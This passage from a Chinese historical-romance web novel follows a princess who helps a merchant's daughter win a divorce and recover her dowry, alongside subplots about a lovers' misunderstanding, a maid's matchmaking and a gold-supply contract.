大发金行的金价比市场价便宜,款式多样,算不得多新鲜,但也并不老气,开店会多买多送,于是开业时客人很多。 乔楹月亲自在铺子里头照顾,看着人来人往,便感觉无数的钱财进了自己的口袋。 然而老天似乎看不得她太得意。 外头忽然跑进来一个男人,这人慌张的钻入客人之中,紧接着一个女人举着菜刀冲了进来。 这一幕吓坏了客人,大家转身就跑。 一时间热闹的店铺冷清了下来。 林酒带人冲进来,那个男人立刻往他身后躲,林酒认出他来,伸出去的剑收了回来,一脸为难的看向乔楹月。 乔楹月自然也看清了男人的身份,正是前些日子将踏青之行搅乱的高崧。 举刀追着他砍的是权迟眉。 这会儿权迟眉双眼通红,情绪激动,活像个疯子,当看清乔楹月时,她忽然冷静下来,将菜刀往地上一丢,双手举起来投降。 “公主莫要动手,民妇并非行刺公主,民妇只是想教训这个畜生!” 第一百四十七章和离休妻 乔楹月本想将这两人一起丢出自己的铺子,但这权迟眉好歹是权家的女儿,多给几分面子,将来自己便能多挣些钱。 于是她耐着性子,将权迟眉和高崧带入雅间,吩咐何掌柜重新造势,将客人邀回来。 雅间中,红豆倒了茶,退到一边,乔楹月开口问权迟眉。 “你是怎么了?” 权迟眉红着眼说道:“他整日游手好闲,花的全是民妇的嫁妆,民妇嫁妆丰厚,倒也不怕他花,可偏偏他用民妇的嫁妆去梦影阁! 他为了梦影阁的头牌一掷千金!那些可都是民妇的父亲挣回来的血汗钱,他怎么能拿去送给别的女人!” 高崧忍不住辩解:“如画并非轻浮的女子,她才情双绝,品性高尚,只是家道中落才困在了梦影阁之中,我为她花银子是希望能帮帮她!没你想的那么龌龊! 再说了,我堂堂男子,便是将她纳妾也不为过,你却要举刀杀我,你是个泼妇!我要休了你!” 权迟眉被这番话气得眼通红,却又因为担心被休而硬生生咽下怒气,于是一张脸好看的脸扭曲变形,极为难看。 乔楹月光是看见两人吵架就一阵心烦,她本就不想插手两人的烂事儿,这会儿不禁烦躁的问权迟眉。 “既然你这么恨他,为何他要休你你又不愿意。” 一提这茬权迟眉一脸憋屈。 “倘若休妻我的嫁妆便全都归他所有,那些嫁妆都是我权家的!” 乔楹月听后愣了一下。 她还真不知道被休的女子连带嫁妆也会归男子所有。 如此看来,这权迟眉不愿被休并非舍不得高崧,而是舍不得自己的嫁妆。 这休妻便能合理吞女人嫁妆的规矩,实在没道理。 这世道,女人的地位比男人差太多。 她也是女人,应该帮助女人改善自己的地位。 乔楹月淡淡的对高崧说道:“本宫会劝说高夫人,高公子先请回。” 在高崧看来,被休的女人拿不到嫁妆是天经地义的事儿,就像太阳挂在天上一样正常,他不认为乔楹月会站到权迟眉那边去。 他一脸高兴的站起来,朝乔楹月行礼告辞。 等到高崧出了雅间,权迟眉不禁落泪。 “公主莫要劝民妇了,民妇对高崧早已失望,是不会再回高家了,至于嫁妆,若他执意不给,民妇不想舍也得舍。” 比起钱财,自然是自己最重要。 权家的钱财堆成了山,只要回去,她一样能过上好日子。 只是便宜了那个畜生,钱财白白送他实在憋气! 乔楹月知道权迟眉的想法,她缓缓开口:“本宫可以帮你和高崧和离。” 和离便能拿回自己的嫁妆。 权迟眉受宠若惊:“民妇感激公主的大义之举!” 乔楹月思索一番,往常也有闹着和离的夫妻,闹到最后都是大理寺裁决。 而大理寺中为案子撰写判词的评事,是这桩案子的关键。 只要判词对权迟眉有利,权迟眉便能顺利和离。 于是乔楹月当天给尚曀递信,将他请到金樽居,让他和权迟眉见了一面。 她告知权迟眉的诉求以后,尚曀立刻明白她的意思,当即向权迟眉询问她和高崧之间的矛盾。 在听完权迟眉的诉说以后,尚曀的脸上露出自信之色。 “公主放心,微臣有把握让高夫人和离。” 乔楹月点头:“这件事儿便多谢尚大人操心了。” 这顿饭快吃完时,乔楹月顺口问起了姬南萱。 “尚大人和南萱近日可还好?” 尚曀的表情僵硬一瞬,随后平静说道:“微臣和姬小姐已没有任何关系。” 乔楹月一怔,还有权迟眉在场,她并未细问,揣着疑问回了府,差红豆给姬南萱递信,问她和尚曀是怎么回事。 红豆带着回信回来,姬南萱在信中告知眼前看见尚曀和别的女子谈笑风生,她生气递信要一刀两断,而尚曀竟也没有挽留。 看完了这封信,乔楹月的心情闷闷的,不禁想起前世尚曀在姬南萱坟前守了一夜又一夜的事儿。 由此可见,感情是最不牢靠的东西。 次日,沈砚大清早差人送来新鲜的樱桃,红润香甜的小果子十分诱人。 乔楹月涂了丹蔻的手指捏着樱桃瞧,随后张嘴咬了一口,味道香甜,非常美味。 不过她只吃了两颗便分给了下人。 尚曀为了权迟眉和离的案子十分忙碌,这事儿传到了言廷耳朵里,他当即将人叫到面前狠狠骂了一顿。 “对!若是这官司打赢你便能在大理寺扬名!可你应该清楚,这种官司赢的只会是男方! 你擅自接受这种烫手山芋,你不单单是害你自己,还是害我,你不知道啊!” 言廷和高显宗之间有旧怨,一旦案子输了,高显宗定不会放过这个羞辱言廷的机会。 尚曀清楚自己会被骂,早就做好了心理准备,因此这会儿面对言廷的怒火便也十分平静。 “众所周知,属下是大人一手调教,倘若属下赢了,这份功劳肯定是落在大人头上的。 至于那高显宗,无论是官位品级还是朝中权势,都不如大人,只要属下这次赢了,他永远在大人面前低一头,大人难道不想出口气吗?” 言廷当然想出气,当年若非高显宗半路杀出来,抱得美人归的人就是他! 这些年来,每次有人家办宴,高显宗便带着他日思夜想的女人在他面前炫耀,他受够了窝囊气! 如若尚曀真能让权迟眉赢得这场官司,往后高显宗在他面前说话都得小声!! 言廷越想越高兴,连带看尚曀也顺眼了,他伸手拍拍他的肩,一脸欣慰道:“还是你们年轻人脑子灵活,你便放手去做,有什么麻烦事儿,我给你摆平!” 尚曀恭敬的退出言廷的值房,脸上的恭敬刹那消失,转而变成了讽刺。 散值后,尚曀邀了权迟眉在茶楼见面。 以往他和官司的当事人见面时,也都是约在这间茶楼。 前不久他刚刚帮一个小妇人办了和离的案子,对这种案子也算有了经验。 只要足够了解权迟眉和高崧的矛盾,便能让她赢。 第一百四十八章又当又立 眨眼便到了开堂的日子。 这种案子不需要姬刑远来坐镇,主持官司的正是尚曀。 权家来了权迟眉和她的父母。 高家来了高崧和他的父母。 两方人之间燃着火药味。 尚曀的判词将高崧做下的种种错事一一列出,又将权迟眉被逼疯狂的原因一一列出。 在证据清晰的情况之下,即便高家不想和离,也得和离,毕竟脸皮还得要。 最终权迟眉顺利和高崧和离,带走了自己的嫁妆。 至于高崧往日花掉的那些,尚曀拿出权迟眉列下的单子,让他全部归还。 此事在盛京传开,高显宗丢尽了脸面。 言廷高兴的仰天大笑,亲昵的请了尚曀到府上吃饭。 席间言文柏出言不逊,被自己的父亲狠狠骂了一通。 次日,权迟眉带着丰厚的谢礼来到尚曀的宅子,当面感谢他。 两人客套一番后,权迟眉顺口问起了姬南萱。 “尚公子打算何时去姬府提亲?” 在权迟眉心中,姬南萱和尚曀是男才女貌,二人若能成亲,定是一段佳话。 尚曀苦笑:“我配不上姬小姐。” 权迟眉察觉不对,却也知道自己的身份不能多问,便忍着疑惑离去。 下午时,权迟眉又带着更加丰厚的谢礼去了公主府。 权迟眉由衷感谢了乔楹月的帮助,随后顺势留下来喝茶。 便在这时,姬南萱求见。 不一会儿,姬南萱走进小厅,于是三个女人便开始了喝茶闲聊。 这话题聊着聊着就聊到了感情上,权迟眉犹豫一下后问道:“姬小姐和尚公子之间是不是有什么误会?” 姬南萱的表情苦涩下去,缓了这几日,她的情绪好了许多,这会儿便缓缓将整件事情的始末说了。 乔楹月诧异问她:“你的意思是,尚曀移情别恋?” 姬南萱点头:“若非关系非比寻常,他们怎会在茶楼中谈笑风生。” 权迟眉忽然想到什么,立刻问:“是不是那雅韵茶楼?” 姬南萱惊讶:“权小姐怎会这么清楚?” 权迟眉一拍大腿:“姬小计是误会尚大人了!” 随后权迟眉便将尚曀为小妇人主持和离官司的事儿细细告知。 最后她一脸可惜的说道:“我和尚大人每次见面也是在雅韵茶楼,若非我听尚大人提过一嘴,怕是你们二人要永远误会下去了!” 姬南萱怔愣住了,她没想到,自己难过了这么久的事儿竟然是一场误会。 竟是她误会了尚曀! 念及此,姬南萱的心疼了一下。 不过转念又陷入失落。 他不知道其中有误会,却在收到那封信时毫无挽留。 如此看来,他心中并未多么在意她。 乔楹月看见姬南萱的表情一会儿难过,一会儿生气,便猜到她心中所想。 尚曀那样的性子,注定不会主动。 想让他主动,除非他功成身就。 乔楹月柔声提醒姬南萱。 “大理寺中已经有许多人嘲笑他是个吃软饭的,你要与他一刀两断,他若挽留你,在那些人眼中就更是吃软饭的了。” 在将权迟眉引荐给尚曀以后,乔楹月顺便打听了尚曀的处境,这才知道他的那些同僚都在故意打压他。 面临这样的处境,姬南萱的离开是致命的打击,他不是不想挽留,而是不敢。 姬南萱听明白乔楹月的意思,眼圈儿忽然红了。 乔楹月心疼她,便主动提出:“本宫帮你将他约出来,让你们二人将误会说清,可好?” 权迟眉用力点头:“对对,一定要把误会说清楚,你们多般配的一对啊。” 然而姬南萱却摇头拒绝了。 “不必了,有缘自然能相见,无缘对面手难牵……我想,我与他本就有缘无份。” 见此乔楹月没再多说,她尊重姬南萱的选择。 唯有权迟眉遗憾得不行,离开公主府后,她脚步一转,去了南城,敲开了尚府的院门。 权迟眉见到尚曀后便开门见山的告知了姬南萱的误会,随后她鼓励尚曀。 “姬小姐是个好姑娘,尚大人是真的让人伤心了,如今也该主动一次才是!” 尚曀苦笑:“这些都是权小姐在说,姬小姐不一定愿意见到我。” “啧!你这人怎么这么笨呢!还是个状元郎呢,在大理寺如鱼得水,怎么到了喜欢的姑娘面前就这么愚钝了!尚大人直管信我,立刻去见姬小姐!” 尚曀见权迟眉表情认真,终于鼓起勇气,主动去了姬府。 他让姬府的侍卫进去传话,等待时天空忽然飘起了下雨。 不一会儿姬南萱撑着伞提着裙摆小跑出来,瞧见他后眼泪如决堤的洪水往下掉。 尚曀将她拥入怀中,柔声向她解释:“你在茶楼看见的那女子与我之间没有任何关系,我与她在茶楼谈的是她和离的案子。” 姬南萱哭着点头:“我知道,我都知道了。” 少女的哭声让人心疼。 尚曀摸着姬南萱的头发,主动向她认错:“是我太敏感,才会导致这么多误会,南萱,这些缺点我都会改掉!” 姬南萱在他怀里摇头:“是我太自私,没有顾及你的感受,我也要改掉我的缺点!” 次日,权迟眉一大清早就去找尚曀,问他和姬南萱可和好,看见尚曀笑着点头,她高兴的拍大腿。 权迟眉心情很好,决定奖励自己一些首饰,便去了大发金铺,照顾乔楹月的生意。 她挑了几样,正要付账时,被人抓着手腕拉入怀中。 “眉眉,我错了,你原谅我好不好?” 光是闻到这人身上那股子令她讨厌的味道,权迟眉就知道了这人的身份。 她冷着脸将人推开,厌烦的骂道:“是舍不得我,还是舍不得我的嫁妆?” 高崧面上闪过一丝尴尬,随后立刻为自己辩解:“当然是舍不得你,我是个读书人,视金钱如粪土!” “哦?那你还真是侮辱了读书人的身份。” “眉眉,你说话能不能改一改,我为什么喜欢外面的女子,还不是因为别人的嘴巴甜,你要是嘴巴也能像别人一样甜,我肯定不会多看外面那些女人一眼!” 第一百四十九章撒泼纠缠 像这种指责之言,在成婚后的每一次争吵后她不肯服软闹着和离时,高崧都会用类似的话语来打压她。 她信了,开始改变自己。 可后来还是隔三差五的争吵,她便有些看透。 再后来,她对这个男人便彻底不抱希望了。 如今好不容易顺利摆脱这个男人,她要开始新的生活,怎么可能再被这些可笑的谎言骗回去受苦。 “高大人这些话还是跟您外头那些女人说去吧,她们光风霁月,一定能和高大人灵魂契合,将来高大人跟这些女人成亲,肯定日子顺和,白头偕老。” 这会儿店小二将首饰包好了,权迟眉示意丫鬟拿好,她则绕开高崧,头也不回的朝外走。 高崧有些慌了。 从前他们也会有争吵,可是争吵后还是会在一起,他遇到麻烦,她还是会出钱出力。 如今她拍拍屁股走了,那他以后的生活怎么办? 高家的家底虽然殷实,可钱财都是紧着上头那几个有出息的哥哥,他这个幺儿不被看好,便也分不到什么钱财,这些年来大手大脚全靠权迟眉的嫁妆接济。 原本高崧并不在意这些,甚至和权迟眉和离以后,还心情不错的前往梦影阁幽会如画姑娘。 然而一听说他身上没有银子,高洁的如画姑娘便借口疲累,起身离去。 后来他又去了一次,如画姑娘直接避而不见,他这才明白,这位高洁的如画姑娘是装的。 也是这一刻他才明白金钱的重要性。 金钱对他而言不是粪土,反而非常重要,他离不开金钱,也就离不开权迟眉。 “眉眉!我真的知道错了,你再原谅我最后一次,我一定会认真悔改!” 然而权迟眉却是头也不回的离去。 这儿的动静引来了路人的围观,有人认出高崧的身份,不禁讽刺。 “还自诩什么读书人,说什么金钱是粪土,最终还不是为金钱低头了。” “要我说,向金钱低头没什么错,但你不承认那就让人讨厌了,喜欢钱就喜欢钱呗,既要又要,简直是当了婊子还要立牌坊。” …… 高崧脸通红,暗暗咬牙。 权迟眉,我一定会重新回到我身边! 这日的傍晚,权家三口正在吃晚饭,下人忽然急匆匆的跑进来禀报。 “老爷!姑爷抱着娇小姐在门外,这会儿娇小姐浑身高热,外头还在下雨,姑爷说,若是大小姐不跟他回去,他便也不回去!” 权吃眉一听顿时气得站了起来,“他什么意思?用我的娇姐儿威胁我?他这般行为哪儿称得上读书人!” 权世衡的脸色非常差,对于这个女婿他早就一肚子不满,从前是念着女儿还在人家的府中,多有忍让,如今女儿已经和离,他便再也不将此人放在心中。 原本以为和此人以后不会再有交集,没想到这人竟能为了继续让权迟眉回到身边,伤害自己的亲身女儿来威胁。 都说读书人有情有义,可在高崧这儿,他却觉得读书人也不过如此! 见父亲和姐姐都是一脸气怒,权晏舟理智分析。 “再怎么说,娇姐儿也是他的亲身女儿,他再是混账,也不可能真的让娇姐儿出事,依我看,索性硬下心肠来不理睬他,他发现这个办法不管用,自然会回去。” 权世衡也觉得这个法子有用,可权迟眉身为母亲,她的女儿才两岁,那么小的人儿,哪儿能受这种苦啊! 看见女儿满脸心疼,权世衡轻轻拍她的手背,安抚道:“若是让他知道娇姐儿能拿捏你,往后娇姐儿只会遭遇更多这种苦。 这一次他在娇姐儿身上没有得到自己想要的,以后便是想纠缠你,也不会利用娇姐儿了。所以,你忍这一次,反而是为了娇姐儿好。” 这个道理权迟眉听进去了。 她缓缓让自己冷静下来,重新拿起筷子吃饭。 可才吃了没两口,她忽然听到了女儿嘹亮的哭泣声。 “是娇姐儿在哭!” 权世衡皱眉,他也听见了,可大门离后院这么远,娇姐儿的声音怎会传这么远? “快出去瞧瞧!” 下人立刻出去瞧情况,不一会儿便小跑进来,一脸愤恨的向权世衡禀报。 “老爷,那高崧实在卑鄙,见大门口没人理睬他,便抱着娇小姐到了旁边的巷子,此刻人就在那儿。” 下人指着小厅外的围墙,那外头便是巷子。 高崧知道权府的布局,也知道这会儿权迟眉多半在小厅吃饭,便故意将孩子抱到这儿来,惹她心疼。 果然,听到女儿一边哭泣一边喊着娘亲,她的心疼得不行,哪儿还稳得住,从厨房拿了菜刀直奔巷子。 …… “公主,权公子在外求见,好像很着急的样子。” 乔楹月刚用完晚膳,正坐在庭院喝茶,听到红豆来报,顿时皱了眉。 她极不喜权晏舟此人。 若非需要权家的黄金货源,她定不会给他好脸色。 “请进来吧。” 不一会儿权晏舟快步进来,朝她行礼,“在下拜见公主!” 乔楹月淡淡道:“权公子这会儿过来有急事?” 权晏舟点头,焦急说道:“我家姐姐拿刀要杀高崧,这会儿两人在大街上闹,我这姐姐手里有刀,我们不敢拉,所以在下请求公主,可否去高家一趟,让高大人前来劝说一二!” 其实权晏舟先去的是沈砚那儿,运气不好,没见到人,他便转头来了公主府。 乔楹月不解:“他们已经和离,你姐姐为何还要杀他?” 于是权晏舟简短的将高崧所做的事儿说了。 乔楹月听后也来了火气。 文人有风骨,她能理解,可这个高崧是又当又立,叫人瞧不起。 “本宫这便去高府请高显宗,你先回去拉着些。” 乔楹月想了想,吩咐林酒。 “你跟着去。” 权晏舟听见这话,心中忽然很感动。 这种烂事儿乔楹月本可以不理睬,可她不仅答应帮忙,还让自己的侍卫出手。 如果说这只是为了装样子,那上次权迟眉的事儿也是她帮忙,说明这位公主确实心善。 这样的人品,和容旖纾所说完全相反。 到底是乔楹月太能玩弄人心,还是容旖纾撒了谎? 第一百五十章尘埃落定 权晏舟赶到以后暂时立刻稳住了混乱的局面,两岁的娇小姐还在高崧怀里抱着。 小小的孩子脸颊通红,哭声一声沙哑,而高崧似乎铁了心一般,就是不肯让大夫看,非要抱着孩子站在雨中。 权迟眉快要疯了。 便在气氛僵持时,高显宗拿着一根荆条气势汹汹的走了过来。 “混账东西!老子的脸被你丢尽了!” 高显宗揪住高崧的耳朵,权迟眉立刻上前将女儿抱回来,赶紧进府请大夫。 而高显宗手中的荆条则是毫不留情的抽在了高崧的屁股上。 “让你读书你不行,让你经商你嫌弃不体面,好!老子让你在待在家里做富贵公子,你倒好,气走了媳妇儿,附近竟连自己亲生女儿的命都不顾了! 老子体面了一辈子,临到进棺材了,却被你丢光了脸面,混账东西,老子今天打死你!” 荆条有手指粗,上头全是利刺,抽在身上时扎进皮肉之中,高崧疼得鬼哭狼嚎。 最后是高夫人匆匆赶来,这才将这对父子带回了府。 随后高夫人亲自上门,将两岁的孙女接回了自己的府上。 权迟眉知道这孩子自己要不回来,也只能任由她带走,只是一个劲儿的请求高夫人,对娇小姐好一些。 好在高夫人不是那蛮不讲理之人,她知道权迟眉这么些年没有亏待过自己的儿子,遂只是面上对权迟眉冷淡,对自己的孙女十分喜爱。 担心高崧再犯浑,她直接将娇姐儿抱到了自己的膝下养。 如此,权迟眉和高崧的烂事儿尘埃落定。 次日,权迟眉在金樽居定了一桌满汉全席,邀了乔楹月一人,当面感谢她。 权世衡和权晏舟这对父子也一起陪同。 席间,乔楹月对权家的家事有了些了解。 权世衡是大安国人,是个孤儿,十几岁便自己在外闯荡,二十岁时遇到了心爱的姑娘,这姑娘不嫌弃他穷,与他成亲,成为了权夫人。 婚后权夫人一年到头都跟着他东奔西走,还为他生下了几个孩子,陪着权世衡白手起家,到小有成就。 可惜造化弄人,在权世衡三十岁时,权夫人生病去世。 如今权世衡已经快五十,身边纳了侍妾,却并未娶续弦。 权世衡和权迟眉都是侍妾所生,而权世衡的嫡子女都在大安,他倾尽全力让他们走仕途,让他们拥有更高的地位。 至于家中的生意,他打算留给权晏舟。 但是乔楹月从权世衡的话语中猜测,虽然生意留给权晏舟,这挣到的银子却依旧要跟这几个嫡子女平分。 对此权晏舟倒是没什么不满。 饭后,外头下起了雨。 这雨来的突然,红豆并未提前带伞。 正在乔楹月站在金樽居门前踌躇时,权晏舟撑着油纸伞匆匆走到面前,他将伞全部遮在她头顶,恭敬的当起了下人。 乔楹月朝他微微点头,正要下台阶,雨幕之中出现一道墨色身影,撑着月白色的油纸伞。 墨色身影径直走到乔楹月的面前,将自己的伞遮在了乔楹月的头顶。 乔楹月一瞧,这人是沈砚。 权晏舟对沈砚有着本能的畏惧,在他的面前不敢有半分放肆,有沈砚为乔楹月撑伞,他应该乖乖离开才是。 然而这会儿看见沈砚将伞放在了自己的伞上,他心中忽然很难受,固执的不肯收回自己的伞。 于是,乔楹月头顶上就这样多了两把伞。 她犹豫:“老人说,打两把伞头上会长包。” 沈砚扫一眼权晏舟,清冷的目光透着明确的意思:拿开你的伞。 奈何权晏舟就跟吃了耗子药一样,脑子十分不清醒,他咬着牙,就是不敢收回自己的伞。 沈砚挑眉,忽然抬手,修长的手指朝着权晏舟的伞柄轻轻一谈。 只听‘嘭’的一声,权晏舟的伞瞬间化成齑粉,缓缓洒落在地。 权晏舟震惊的看着地上的粉末,简直不敢相信自己的眼睛。 这……这是多么恐怖的武功,才能做到瞬间粉碎一把伞? 不都说沈砚是个瘦弱的书生,半点武功都不会吗? 可他的武功明显高强极了! 他文武双全还家世显赫,模样还英俊。 这种男人简直没有任何缺点。 权晏舟认为自己也很优秀,可是和沈砚一对比,他自己都觉得自己比不上他半分! 权晏舟抿着唇抬起头,便见沈砚撑着伞,乔楹月走在他的身边,宽敞的伞面将风雨阻挡在外。 乔楹月高贵强大,而这个男人却丝毫不逊。 似乎……他们才是天生的一对。 “别看了,人都走了。” 权迟眉站在弟弟身边,怜悯的拍了拍他的肩。 “姐,我就真的比不上沈砚吗?” 权迟眉和权晏舟是权家孩子之中关系最好的,他们虽然喜欢斗嘴,但在大事面前她总是无条件支持这个弟弟。 这会儿权晏舟的表情分明是遭受了重大的打击,一个不好便会精神崩溃,就此一蹶不振。 权迟眉的眼眸之中露出心疼,抬手摸了摸他的头发,柔声说道:“你跟他,根本就没得比。” 权晏舟的伤感顿时变成了气愤,“姐!” 权迟眉‘哈哈’大笑。 不过经权迟眉这么一打断,权晏舟的情绪好转了一些,他转而想到了乔楹月的那些面首。 大周的公主可以养很多面首,那沈砚不也是其中一个嘛,就算是美味佳肴公主也会有吃腻的一天,到时候他就有机会成为公主的新宠。 这么一想,权晏舟的心情便好转,同权世衡回了权府,刚回府就收到了容旖纾的口信。 邀他今晚一叙。 依旧是金樽居。 雅间之中,容旖纾坐在权晏舟的对面,先是关心了一番他的近况,然后话锋一转,提起了乔楹月。 “昨晚的事儿我才听说,还好高大人及时赶来,这才避免了悲剧发生。 说起来,怀宁公主做生意靠的是你们权家,昨日权家出了那么大的事儿,怀宁公主竟然视而不见,此举实在无情了些。” 权晏舟皱眉,脸色有些冷了下来,“昨晚便是公主帮忙,高大人才会及时出现。” 第一百五十一章红豆相看 没想到挑拨离间一下挑在了筋上,容旖容很尴尬,但她反应极快,立刻满脸歉意的解释。 “没想到竟是怀宁公主出手,我一个内宅女子没有怀宁公主那样的耳目,若是提前知道,我肯定会出手帮忙。” 权晏舟淡淡说道:“容小姐不必自责,事儿已经解决了。” 容旖纾敏锐察觉到权晏舟对自己的态度变得冷淡了下来,她暗暗捏了一把汗。 看来是因为说错话惹了他不喜,权家在大周也是有人脉的,若能抓住权晏舟的心,对她也大有益处。 看眼下的情形,这权晏舟估计也快要被乔楹月俘获,既然如此,那她便顺水推舟。 “依照怀宁公主做的这些好事来看,我对公主应当是误会了,公主是个极好的人。” 权晏舟的表情柔和下来,“怀宁公主人品非常好。” 容旖纾看着他的脸色,顿了顿才说道:“瞧权公子的模样,应当是对公主情根深种了。” 权晏舟立刻沉了脸:“别胡说!” 她可没胡说。 男人动心以后都是这幅样子,他明明动心却不肯承认,无非是自卑自己的身份,自卑乔楹月对他没心思。 那她就利用男人那点可怜的自尊心,让他对乔楹月出手。 “我可以帮权公子得到公主的心。” 权晏舟立刻期待的看向她。 容旖纾笑了起来,她压低声音在权晏舟耳边说了一通。 权晏舟听后沉默许久,最终还是点头认可了她的计划。 过了两日。 红豆红着脸坐在茶楼之中,在她的对面坐着一个面容清俊的少年,这少年的脸也有些红,却还是主动开了口。 “我叫李方,今年二十岁,家住城西,家中有一对父母,还有两个姐姐和两个哥哥。 父母在城中做些小生意,生意还算稳定,因此我们兄弟姐妹虽然多,却并不愁吃穿。 两个姐姐已经嫁人,两个哥哥也均已成亲,将来我若成亲,便也和两个哥哥一样,住在单独的院落。 我年少时读过几年书,因为脑子不聪明而放弃,后来跟着何掌柜学着算账,如今在公主的金铺里头做掌柜,每月的月例很不错。 我都想好了,将来我成亲了,我的月例都交给妻子,我不打女人,更不会纳妾,而且我还会帮着做家务! 红豆姑娘,我…我第一眼看见你便很喜欢,如果姑娘瞧得上我,我便去公主府提亲。” 看见对面投来的热切目光,红豆的心快要跳出嗓子眼儿。 前两日公主忽然问她可有心上人,她如实告知自己没有心仪的男子,公主便说她的年纪不小了,该准备成亲了。 当时红豆以为公主只是随便提一提,没想到今日公主忽然告知她,为她安排了一个年纪相仿的男子相看。 原本红豆没什么心思,但这会儿瞧见李方模样端正,性子也好,心便也有些动了。 她红着脸点头:“我……” “红豆?你在这儿做什么?” 一道突兀的声音打断了她,她回头,便见沈大人身边那冷脸侍卫站在身后。 想到自己正和男子相看,还被熟人给瞧见了,红豆的脸跟火烧云一样,说话不自主的结巴。 “我…我在和朋友说点事儿!” 沈匆撇了一眼李方,冰冷的脸上露出几分笑意:“原来是李掌柜。” 李方赶紧站起来朝沈匆行礼:“沈侍卫!” 沈匆是沈砚的贴身侍卫,身份地位在普通人眼中极高。 这会儿面对他时,李方的背脊不自觉矮了几分。 沈匆朝他点点头,抬手搭上红豆的肩,态度亲昵的同她说道:“正好我要去公主府,我在这儿等你一会儿,你谈完后我们一起去公主府。” 红豆因为相看被发现而羞耻,根本没察觉沈匆的举动有什么不对,只一个劲儿的点头。 而坐在对面的李方却变了脸色。 当晚,红豆娇羞的来到乔楹月的面前,想要打听李方对自己的看法。 乔楹月却并未提及李方,反而又提了另外一个男子。 “此人的年纪比你大三岁,条件比李方还要好,你明日还去那个茶楼与他见面。” 红豆一怔,随后便回过味来,定是李方没瞧上她,公主才会安排其他男子与她相看。 可昨日李方的态度明明很热情,怎么一会儿就变了? 次日红豆又去相看,中途竟又遇见了沈匆。 当天晚上,乔楹月为她安排了更加优秀的男子相看。 到了第三天,红豆去相看,她对这个男人也很满意,巧的是,中途竟然又又又遇到了沈匆! 这天晚上,乔楹月有些困惑的问红豆。 “这三人虽然没有官身,但是你若嫁过去肯定衣食无忧,可随心所欲一辈子。 不过既然你不喜欢,本宫便另外再为你寻找,你且告诉本宫,你喜欢什么样儿的男子。” 这话让红豆错愕不易,她红着眼睛说道:“公主安排的这三位公子奴婢都很喜欢,是他们没瞧上奴婢。” 乔楹月一愣,这三人都是同一个媒婆安排,事后男子会将想法告知媒婆,这三人都说是红豆瞧不上他们。 这会儿瞧见红豆快哭了,乔楹月敏锐的察觉其中有问题,她耐着性子细细问道:“你别着急,慢慢将你这三日相看时发生的说来。” 红豆便细细的说了,乔楹月听完便笑了。 看来这沈匆是看上了红豆,一次次破坏她的亲事,自己又不主动来提亲,实在不像个样子,她必须好好敲打一番。 晚些时候,乔楹月去了一趟沈砚的私宅,两人在小厅坐下,沈砚为她倒茶,察觉到她眼中有火气,面露不解。 “是何人惹了公主生气?” “这就要问沈大人了,本宫那丫鬟相看未婚夫,沈匆却三番五次捣乱,惹得本宫那丫鬟哭哭啼啼,本宫今日特意上门,就是要问问沈大人,您是如何教养下人的?” 沈砚微愣,抬眼看向小厅外,沈匆立在右侧,而红豆立在左侧,沈匆时不时抬眼看红豆,表情很是冷淡,瞧不出多少情绪。 可了解他便会知道,那双冷淡的眼睛里分明藏着浓浓的爱慕。 第一百五十二章好事成了 沈砚回头,对上乔楹月质问的目光,摸了摸鼻子,难得露出理亏之色。 “是微臣教导不严,这件事儿微臣会处理好。” 乔楹月哼了一声,起身离去。 红豆跟着乔楹月离开,沈匆追着她看了一会儿,便听到自家大人低斥。 “沈匆,滚进来!” 沈匆低着脑袋走进去,瞧见自己大人的表情不好看,多少也猜到了原因,他不等沈砚责骂,直接跪下去请罪。 “大人,属下知道错了!” 沈砚不悦的问他:“那你打算如何改正?” 沈匆红了脸:“属下会主动向红豆姑娘说清自己的心思,倘若…倘若被拒绝,属下便彻底绝了这心思。” 沈砚冷哼一声:“别在让本官在公主面前没脸。” “属下明白!” 如此过去了三天。 沈匆喜滋滋的来到沈砚的面前禀报战况。 “属下每日都去红豆姑娘面前献殷勤,今日主动挑明了自己的心思,红豆姑娘期期艾艾了一会儿,竟然点头了!” 瞧见沈匆高兴的模样,沈砚心中羡慕。 不知,他和乔楹月何时能互通心意…… “大人,属下想尽快上门提亲。” 沈砚点头:“你跟在本官身边多年,尽职尽责,你的聘礼本官为你准备,等聘礼备好以后,本官同你一起上门。” 沈匆感激谢恩。 公主府。 红豆娇羞的将自己和沈匆互通心意的事儿告诉了乔楹月,小姑娘单纯极了,到如今都不知道自己曾经的三门亲事都是被沈匆搅黄的,这会儿还兀自觉得是沈匆不嫌弃自己。 乔楹月有些担心,这么笨的丫头,到时候嫁过去不会受欺负吧? 不过有她给红豆撑腰,就算借给沈匆一百个胆子也不敢随意欺负她。 下午时,权晏舟上门求见。 乔楹月在小厅与他见面,红豆送上茶点后退下,权晏舟一脸高兴的开了口。 “金矿刚刚提炼出来一批金料,这批金料的纯度非常高,在下前来是想问问公主,想不想要这批金料。” 因为多开了一家金铺,进来的金料消耗速度快了许多。 手中的金料不多了,乔楹月正打算找权世衡再要一批货,这会儿权晏舟主动过来,正是瞌睡碰上了枕头。 “这批料子有多少?” “有些多,”权晏舟从衣袖之中拿出一张单子,给乔楹月递了过去,“公主看看。” 乔楹月接过来。 单子上写清楚了金料的总重量,也写清楚了需要的货款。 这批货需要花费十几万两才能买回来。 这些银子乔楹月倒是能拿出来,不过一旦拿出来,手中便没有银子周转。 不过金料无论做不做成首饰都是货币,不愁亏本。 这些金料买回来,左右都是赚的。 “这些金料,本宫都要了。” 权晏舟连连点头,随后不忘提醒:“这批料子如今还在大安国境,公主可先给五成的定金,等金子到了再给尾款。” 上一批的金料也是先给五成定金,到货后再给尾款,乔楹月不是第一次和权家做生意,背后还有沈砚坐镇,她不怕权家坑她。 “本宫明白,这次的数目不小,本宫需要一天筹银子。明日巳时初我们金樽居见。” 交定金时需要签订契约。 权晏舟笑着离去。 乔楹月看着他的背影,眸子眯了眯,随后她吩咐红豆将何掌柜请来,询问了自己账上目前能拿出来多少银子。 何掌柜拿出算盘当着她的面算了一遍,最终告诉乔楹月。 “能拿出来的银子一共不到十五万两。” 金料总价十三万两,还有剩余。 “先拿七万五千两,明日本宫和权晏舟签订金料定金契约。” 何掌柜应下了。 次日,乔楹月和权晏舟在金樽居签订了契书,定下了这批金料。 契书中自然也写清楚,若金料的纯度达不到权晏舟所说,权家当双倍赔偿货款。 金料从大安运送到大周,最少需要一个月的时间,乔楹月并不着急。 次日,乔楹月刚用完早膳,红豆红着脸跑进来,支支吾吾向她禀报。 “公主,沈大人来了。” 乔楹月瞧着小姑娘脸上的红晕,心中想到了什么,眼中浮现调侃,“是不是带着沈侍卫前来提亲了?” 